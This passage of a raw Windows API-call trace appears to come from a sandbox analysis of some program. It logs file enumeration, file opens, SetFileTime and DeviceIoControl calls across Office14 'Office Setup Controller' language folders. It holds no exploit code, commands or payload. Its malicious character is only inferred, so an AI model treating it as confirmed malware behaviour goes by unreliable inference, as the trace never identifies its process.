lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.882] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.882] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.882] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="")) returned 1 [0236.882] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.882] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.882] GetLastError () returned 0x12 [0236.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0236.882] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0236.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.882] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0236.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0236.884] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0236.884] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0236.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0236.884] NtClose (Handle=0x1b8) returned 0x0 [0236.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0236.884] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.884] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.884] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0236.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0236.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908e78 [0236.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909da8 [0236.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.885] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0236.885] GetLastError () returned 0x12 [0236.885] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.885] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.885] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.885] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0236.885] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0236.885] GetLastError () returned 0x12 [0236.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0236.885] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0236.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.885] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0236.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.885] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0237.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0237.204] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0237.207] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0237.210] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0237.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0237.222] NtClose (Handle=0x1b4) returned 0x0 [0237.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0237.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0237.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0237.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0237.223] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0237.223] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.223] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0237.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0237.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0237.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908e98 [0237.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909eb0 [0237.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.223] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0237.223] GetLastError () returned 0x12 [0237.223] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0237.223] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0237.224] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.224] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0237.224] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0237.224] GetLastError () returned 0x12 [0237.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0237.224] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0237.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0237.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0237.224] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0237.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0237.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0237.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0237.329] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0237.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0237.329] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0237.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0237.329] NtClose (Handle=0x1b8) returned 0x0 [0237.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0237.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0237.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0237.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0237.329] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0237.329] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.329] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0237.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0237.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0237.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908eb8 [0237.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909fb8 [0237.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.330] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0237.330] GetLastError () returned 0x12 [0237.330] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0237.330] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0237.330] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, 